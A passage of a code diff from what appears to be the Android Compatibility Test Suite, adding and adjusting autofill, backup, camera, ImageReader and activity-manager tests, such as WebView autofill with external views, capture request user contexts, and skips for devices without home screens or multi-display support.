+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+ Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+ Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+ }
+
+ final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+ final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+ }
+
+
+ @Test
+ public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
+ if (true) return; // TODO(b/69461853): re-enable once WebView fixes it
+
+ // Set service.
+ enableService();
+
+ // Load outside views
+ mActivity.loadOutsideViews();
+
+ // Set expectations.
+ final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+ mActivity.mOutside1, "duder");
+ final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+ mActivity.mOutside2, "sweeter");
+ mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+ mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.setIdMode(IdMode.RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .addDataset(new CannedDataset.Builder()
+ .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+ .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Assert structure passed to service.
+ final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextIsSanitized(outside1FillNode);
+ final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextIsSanitized(outside2FillNode);
+
+ // Now load Webiew
+ final MyWebView myWebView = mActivity.loadWebView();
+
+ // Set expectations
+ myWebView.expectAutofill("dude", "sweet");
+ sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+ HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+ .addDataset(new CannedDataset.Builder()
+ .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+ .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ sUiBot.assertDatasets("USER");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ // Move focus around to make sure UI is shown accordingly
+ mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, usernameChildId);
+ sUiBot.assertDatasets("OUT1");
+ callback.assertUiShownEvent(mActivity.mOutside1);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(mActivity.mOutside1);
+ sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ mActivity.getPasswordInput(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ sUiBot.assertDatasets("PASS");
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+ mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+ callback.assertUiHiddenEvent(myWebView, passwordChildId);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+ callback.assertUiShownEvent(mActivity.mOutside2);
+
+ // Assert structure passed to service.
+ final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+ HTML_NAME_USERNAME);
+ Helper.assertTextIsSanitized(usernameFillNode);
+ assertThat(usernameFillNode.isFocused()).isTrue();
+ assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+ HTML_NAME_PASSWORD);
+ Helper.assertTextIsSanitized(passwordFillNode);
+ assertThat(passwordFillNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordFillNode.isFocused()).isFalse();
+
+ // Autofill external views (2nd partition)
+ sUiBot.selectDataset(datasetPicker, "OUT2");
+ callback.assertUiHiddenEvent(mActivity.mOutside2);
+ outside1Watcher.assertAutoFilled();
+ outside2Watcher.assertAutoFilled();
+
+ // Autofill Webview (1st partition)
+ mActivity.getUsernameInput(sUiBot).click();
+ callback.assertUiShownEventForVirtualChild(myWebView);
+ sUiBot.selectDataset("USER");
+ myWebView.assertAutofilled();
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.runOnUiThread(() -> {
+ mActivity.mOutside1.setText("DUDER");
+ mActivity.mOutside2.setText("SWEETER");
+ });
+
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_USERNAME);
+ final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+ HTML_NAME_PASSWORD);
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+ Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+ Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+ }
+
+ final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE1);
+ Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+ final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+ ID_OUTSIDE2);
+ Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+ }
}
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
index f04f9ea..343f2d9 100644
--- a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -78,9 +78,9 @@
return output.contains("* " + LOCAL_TRANSPORT);
}
- /** See {@link LogcatInspector#clearAndMark(String)}. */
- protected String clearLogcat() throws Exception {
- return mLogcatInspector.clearAndMark(APP_LOG_TAG);
+ /** See {@link LogcatInspector#mark(String)}. */
+ protected String markLogcat() throws Exception {
+ return mLogcatInspector.mark(APP_LOG_TAG);
}
/** See {@link LogcatInspector#assertLogcatContainsInOrder(String, int, String...)}. */
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
index beefa01..9f81ecd 100644
--- a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -31,7 +31,7 @@
if (!isBackupSupported()) {
return;
}
- String backupSeparator = clearLogcat();
+ String backupSeparator = markLogcat();
// Make sure there's something to backup
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -45,7 +45,7 @@
"Full backup requested",
"onDestroy");
- String restoreSeparator = clearLogcat();
+ String restoreSeparator = markLogcat();
// Now request restore and wait for it to complete
exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
index 3924e87..56d489d 100644
--- a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -36,7 +36,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
// Launch test app and create file exceeding limit for local transport
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
@@ -59,7 +59,7 @@
Thread.sleep(3000);
} catch (InterruptedException e) {}
- String separator = clearLogcat();
+ String separator = markLogcat();
exec("bmgr backupnow " + BACKUP_APP_NAME);
waitForLogcat(TIMEOUT_SECONDS,separator,
"quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
index d957bbc..0bb5243 100644
--- a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -31,7 +31,7 @@
if (!isBackupSupported()) {
return;
}
- String backupSeparator = clearLogcat();
+ String backupSeparator = markLogcat();
// Make sure there's something to backup
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -44,7 +44,7 @@
"Backup requested",
"onDestroy");
- String restoreSeparator = clearLogcat();
+ String restoreSeparator = markLogcat();
// Now request restore and wait for it to complete
exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
index c29f810..6fca9ad 100644
--- a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -36,7 +36,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
// Launch test app and create file exceeding limit for local transport
createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
@@ -50,7 +50,7 @@
if (!isBackupSupported()) {
return;
}
- String separator = clearLogcat();
+ String separator = markLogcat();
exec("bmgr backupnow " + BACKUP_APP_NAME);
waitForLogcat(TIMEOUT_SECONDS, separator,
"quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 39b2d7e..166ec86 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -23,6 +23,7 @@
#include <string>
#include <map>
#include <mutex>
+#include <vector>
#include <unistd.h>
#include <assert.h>
#include <jni.h>
@@ -242,6 +243,11 @@
class CaptureResultListener {
public:
+ ~CaptureResultListener() {
+ std::unique_lock<std::mutex> l(mMutex);
+ clearSavedRequestsLocked();
+ }
+
static void onCaptureStart(void* /*obj*/, ACameraCaptureSession* /*session*/,
const ACaptureRequest* /*request*/, int64_t /*timestamp*/) {
//Not used for now
@@ -253,7 +259,7 @@
}
static void onCaptureCompleted(void* obj, ACameraCaptureSession* /*session*/,
- ACaptureRequest* /*request*/, const ACameraMetadata* result) {
+ ACaptureRequest* request, const ACameraMetadata* result) {
ALOGV("%s", __FUNCTION__);
if ((obj == nullptr) || (result == nullptr)) {
return;
@@ -266,6 +272,11 @@
ALOGE("Error: Sync frame number missing from result!");
return;
}
+
+ if (thiz->mSaveCompletedRequests) {
+ thiz->mCompletedRequests.push_back(ACaptureRequest_copy(request));
+ }
+
thiz->mLastCompletedFrameNumber = entry.data.i64[0];
thiz->mResultCondition.notify_one();
}
@@ -354,23 +365,48 @@
return ret;
}
+ void setRequestSave(bool enable) {
+ std::unique_lock<std::mutex> l(mMutex);
+ if (!enable) {
+ clearSavedRequestsLocked();
+ }
+ mSaveCompletedRequests = enable;
+ }
+
+ // The lifecycle of returned ACaptureRequest* is still managed by CaptureResultListener
+ void getCompletedRequests(std::vector<ACaptureRequest*>* out) {
+ std::unique_lock<std::mutex> l(mMutex);
+ *out = mCompletedRequests;
+ }
+
void reset() {
std::lock_guard<std::mutex> lock(mMutex);
- mLastSequenceIdCompleted = 0;
- mLastSequenceFrameNumber = 0;
- mLastCompletedFrameNumber = 0;
- mLastLostFrameNumber = 0;
- mLastFailedFrameNumber = 0;
+ mLastSequenceIdCompleted = -1;
+ mLastSequenceFrameNumber = -1;
+ mLastCompletedFrameNumber = -1;
+ mLastLostFrameNumber = -1;
+ mLastFailedFrameNumber = -1;
+ mSaveCompletedRequests = false;
+ clearSavedRequestsLocked();
}
private:
std::mutex mMutex;
std::condition_variable mResultCondition;
- int64_t mLastSequenceIdCompleted;
- int64_t mLastSequenceFrameNumber;
- int64_t mLastCompletedFrameNumber;
- int64_t mLastLostFrameNumber;
- int64_t mLastFailedFrameNumber;
+ int mLastSequenceIdCompleted = -1;
+ int64_t mLastSequenceFrameNumber = -1;
+ int64_t mLastCompletedFrameNumber = -1;
+ int64_t mLastLostFrameNumber = -1;
+ int64_t mLastFailedFrameNumber = -1;
+ bool mSaveCompletedRequests = false;
+ std::vector<ACaptureRequest*> mCompletedRequests;
+
+ void clearSavedRequestsLocked() {
+ for (ACaptureRequest* req : mCompletedRequests) {
+ ACaptureRequest_free(req);
+ }
+ mCompletedRequests.clear();
+ }
};
class ImageReaderListener {
@@ -892,6 +928,16 @@
return ACAMERA_OK;
}
+ // The output ACaptureRequest* is still managed by testcase class
+ camera_status_t getStillRequest(ACaptureRequest** out) {
+ if (mStillRequest == nullptr) {
+ ALOGE("Camera %s Still capture request hasn't been created", mCameraId);
+ return ACAMERA_ERROR_INVALID_PARAMETER;
+ }
+ *out = mStillRequest;
+ return ACAMERA_OK;
+ }
+
camera_status_t startPreview(int *sequenceId = nullptr) {
if (mSession == nullptr || mPreviewRequest == nullptr) {
ALOGE("Testcase cannot start preview: session %p, preview request %p",
@@ -949,6 +995,18 @@
mSession, nullptr, 1, &mStillRequest, &seqId);
}
+ camera_status_t capture(ACaptureRequest* request,
+ ACameraCaptureSession_captureCallbacks* listener,
+ /*out*/int* seqId) {
+ if (mSession == nullptr || request == nullptr) {
+ ALOGE("Testcase cannot capture session: session %p, request %p",
+ mSession, request);
+ return ACAMERA_ERROR_UNKNOWN;
+ }
+ return ACameraCaptureSession_capture(
+ mSession, listener, 1, &request, seqId);
+ }
+
camera_status_t resetWithErrorLog() {
camera_status_t ret;
@@ -1446,6 +1504,34 @@
}
}
+ void* context = nullptr;
+ ret = ACaptureRequest_getUserContext(request, &context);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+ if (context != nullptr) {
+ LOG_ERROR(errorString, "Capture request context is not null: %p", context);
+ goto cleanup;
+ }
+
+ intptr_t magic_num = 0xBEEF;
+ ret = ACaptureRequest_setUserContext(request, (void*) magic_num);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Set capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+
+ ret = ACaptureRequest_getUserContext(request, &context);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Get capture request context failed: ret %d", ret);
+ goto cleanup;
+ }
+ if (context != (void*) magic_num) {
+ LOG_ERROR(errorString, "Capture request context is wrong: %p", context);
+ goto cleanup;
+ }
+
// try get/set capture request fields
ACameraMetadata_const_entry entry;
ret = ACaptureRequest_getConstEntry(request, ACAMERA_CONTROL_AE_MODE, &entry);
@@ -2111,14 +2197,68 @@
goto cleanup;
}
+ CaptureResultListener resultListener;
+ ACameraCaptureSession_captureCallbacks resultCb {
+ &resultListener,
+ CaptureResultListener::onCaptureStart,
+ CaptureResultListener::onCaptureProgressed,
+ CaptureResultListener::onCaptureCompleted,
+ CaptureResultListener::onCaptureFailed,
+ CaptureResultListener::onCaptureSequenceCompleted,
+ CaptureResultListener::onCaptureSequenceAborted,
+ CaptureResultListener::onCaptureBufferLost
+ };
+ resultListener.setRequestSave(true);
+ ACaptureRequest* requestTemplate = nullptr;
+ ret = testCase.getStillRequest(&requestTemplate);
+ if (ret != ACAMERA_OK || requestTemplate == nullptr) {
+ // Don't log error here. testcase did it
+ goto cleanup;
+ }
+
// Do some still capture
- for (int capture = 0; capture < NUM_TEST_IMAGES; capture++) {
- ret = testCase.takePicture();
+ int lastSeqId = -1;
+ for (intptr_t capture = 0; capture < NUM_TEST_IMAGES; capture++) {
+ ACaptureRequest* req = ACaptureRequest_copy(requestTemplate);
+ ACaptureRequest_setUserContext(req, (void*) capture);
+ int seqId;
+ ret = testCase.capture(req, &resultCb, &seqId);
if (ret != ACAMERA_OK) {
- LOG_ERROR(errorString, "Camera %s capture(%d) failed. ret %d",
+ LOG_ERROR(errorString, "Camera %s capture(%" PRIdPTR ") failed. ret %d",
cameraId, capture, ret);
goto cleanup;
}
+ if (capture == NUM_TEST_IMAGES - 1) {
+ lastSeqId = seqId;
+ }
+ ACaptureRequest_free(req);
+ }
+
+ // wait until last sequence complete
+ resultListener.getCaptureSequenceLastFrameNumber(lastSeqId, /*timeoutSec*/ 3);
+
+ std::vector<ACaptureRequest*> completedRequests;
+ resultListener.getCompletedRequests(&completedRequests);
+
+ if (completedRequests.size() != NUM_TEST_IMAGES) {
+ LOG_ERROR(errorString, "Camera %s fails to capture %d capture results. Got %zu",
+ cameraId, NUM_TEST_IMAGES, completedRequests.size());
+ goto cleanup;
+ }
+
+ for (intptr_t i = 0; i < NUM_TEST_IMAGES; i++) {
+ intptr_t userContext = -1;
+ ret = ACaptureRequest_getUserContext(completedRequests[i], (void**) &userContext);
+ if (ret != ACAMERA_OK) {
+ LOG_ERROR(errorString, "Camera %s fails to get request user context", cameraId);
+ goto cleanup;
+ }
+
+ if (userContext != i) {
+ LOG_ERROR(errorString, "Camera %s fails to return matching user context. "
+ "Expect %" PRIdPTR ", got %" PRIdPTR, cameraId, i, userContext);
+ goto cleanup;
+ }
}
// wait until all capture finished
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index bd01d21..96f363c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -553,6 +553,21 @@
}
/**
+ * Test that images captured after discarding free buffers are valid.
+ */
+ public void testDiscardFreeBuffers() throws Exception {
+ for (String id : mCameraIds) {
+ try {
+ Log.v(TAG, "Testing jpeg capture for Camera " + id);
+ openDevice(id);
+ discardFreeBuffersTestByCamera();
+ } finally {
+ closeDevice(id);
+ }
+ }
+ }
+
+ /**
* Convert a rectangular patch in a YUV image to an ARGB color array.
*
* @param w width of the patch.
@@ -762,6 +777,38 @@
imageInvalidAccessTestAfterClose(img, firstPlane, buffer);
}
+ /**
+ * Test that images captured after discarding free buffers are valid.
+ */
+ private void discardFreeBuffersTestByCamera() throws Exception {
+ final int FORMAT = mStaticInfo.isColorOutputSupported() ?
+ ImageFormat.YUV_420_888 : ImageFormat.DEPTH16;
+
+ final Size SIZE = mStaticInfo.getAvailableSizesForFormatChecked(FORMAT,
+ StaticMetadata.StreamDirection.Output)[0];
+ Image img = null;
+ // Create ImageReader.
+ mListener = new SimpleImageListener();
+ createDefaultImageReader(SIZE, FORMAT, MAX_NUM_IMAGES, mListener);
+
+ // Start capture.
+ final boolean REPEATING = true;
+ CaptureRequest request = prepareCaptureRequest();
+ SimpleCaptureCallback listener = new SimpleCaptureCallback();
+ startCapture(request, REPEATING, listener, mHandler);
+
+ // Validate images and capture results.
+ validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+ validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+
+ // Discard free buffers.
+ mReader.discardFreeBuffers();
+
+ // Validate images and capture resulst again.
+ validateImage(SIZE, FORMAT, NUM_FRAME_VERIFIED, REPEATING);
+ validateCaptureResult(FORMAT, SIZE, listener, NUM_FRAME_VERIFIED);
+ }
+
private void bufferFormatTestByCamera(int format, boolean repeating) throws Exception {
Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
index 5e82b64..4ca4a5d 100644
--- a/tests/framework/base/activitymanager/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -55,6 +55,7 @@
<activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$FirstActivity" />
<activity android:name="android.server.am.lifecycle.ActivityLifecycleClientTestBase$SecondActivity"/>
+
</application>
<instrumentation
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
index 8e335a8..28e6576 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
@@ -82,6 +82,12 @@
Log.i(getTag(), "onDestroy");
}
+ @Override
+ protected void onUserLeaveHint() {
+ super.onUserLeaveHint();
+ Log.i(getTag(), "onUserLeaveHint");
+ }
+
protected abstract String getTag();
protected void dumpConfiguration(Configuration config) {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 85b5a4a..8282dc1 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -36,7 +36,7 @@
import org.junit.Test;
/**
- * Build: mmma -j32 cts/hostsidetests/services
+ * Build: mmma -j32 cts/tests/framework/base
* Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerActivityVisibilityTests
*/
public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
@@ -204,7 +204,9 @@
private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
// Make sure home activity is visible.
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch an activity that calls "moveTaskToBack" to finish itself.
launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
@@ -224,8 +226,10 @@
// BroadcastActivity finishes, so homeActivity is not visible afterwards
// Home must be visible.
- mAmWmState.waitForHomeActivityVisible();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.waitForHomeActivityVisible();
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
}
/**
@@ -236,7 +240,9 @@
public void testReorderToFrontBackstack() throws Exception {
// Start with home on top
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity to the foreground
launchActivity(LAUNCHING_ACTIVITY);
@@ -269,7 +275,9 @@
public void testReorderToFrontChangingStack() throws Exception {
// Start with home on top
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity to the foreground
launchActivity(LAUNCHING_ACTIVITY);
@@ -280,7 +288,9 @@
// Return home
launchHomeActivity();
- mAmWmState.assertHomeActivityVisible(true /* visible */);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true /* visible */);
+ }
// Launch the launching activity from the alternate launching activity with reorder to
// front.
@@ -307,6 +317,10 @@
*/
@Test
public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+ if (noHomeScreen()) {
+ return;
+ }
+
// Start with home on top
launchHomeActivity();
@@ -381,6 +395,7 @@
}
@Test
+ @Presubmit
public void testTurnScreenOnSingleTask() throws Exception {
sleepDevice();
String logSeparator = clearLogcat();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
index 5573fff..8dc396c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -464,6 +464,11 @@
*/
private void requestOrientationInSplitScreen(int orientation, String activity)
throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+
// Set initial orientation.
setDeviceRotation(orientation);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
index 6efbc87..af88f2c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -210,7 +210,9 @@
TRANSLUCENT_ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
mAmWmState.waitForHomeActivityVisible();
- mAmWmState.assertHomeActivityVisible(true);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true);
+ }
// Launch a fullscreen app and then launch the assistant and check to see that it is
// also visible
@@ -237,7 +239,9 @@
mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
mAmWmState.waitForHomeActivityVisible();
- mAmWmState.assertHomeActivityVisible(true);
+ if (!noHomeScreen()) {
+ mAmWmState.assertHomeActivityVisible(true);
+ }
// Launch a fullscreen and docked app and then launch the assistant and check to see that it
// is also visible
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
index 4fdabe0..97c4863 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerDisplayTests.java
@@ -1751,6 +1751,8 @@
*/
@Test
public void testExternalDisplayActivityTurnPrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY_NAME);
waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
@@ -1781,6 +1783,8 @@
*/
@Test
public void testLaunchExternalDisplayActivityWhilePrimaryOff() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY_NAME);
waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
@@ -1809,6 +1813,8 @@
*/
@Test
public void testExternalDisplayToggleState() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
final DisplayState newDisplay = createExternalVirtualDisplay(
false /* showContentWhenLocked */);
@@ -1837,6 +1843,8 @@
*/
@Test
public void testStackFocusSwitchOnTouchEventAfterKeyguard() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
// Launch something on the primary display so we know there is a resumed activity there
launchActivity(RESIZEABLE_ACTIVITY_NAME);
waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
@@ -1902,6 +1910,8 @@
* Tests that showWhenLocked works on a secondary display.
*/
public void testSecondaryDisplayShowWhenLocked() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
try {
setLockCredential();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
index 95a11fc..e19b9bf 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -41,12 +41,11 @@
import org.junit.Test;
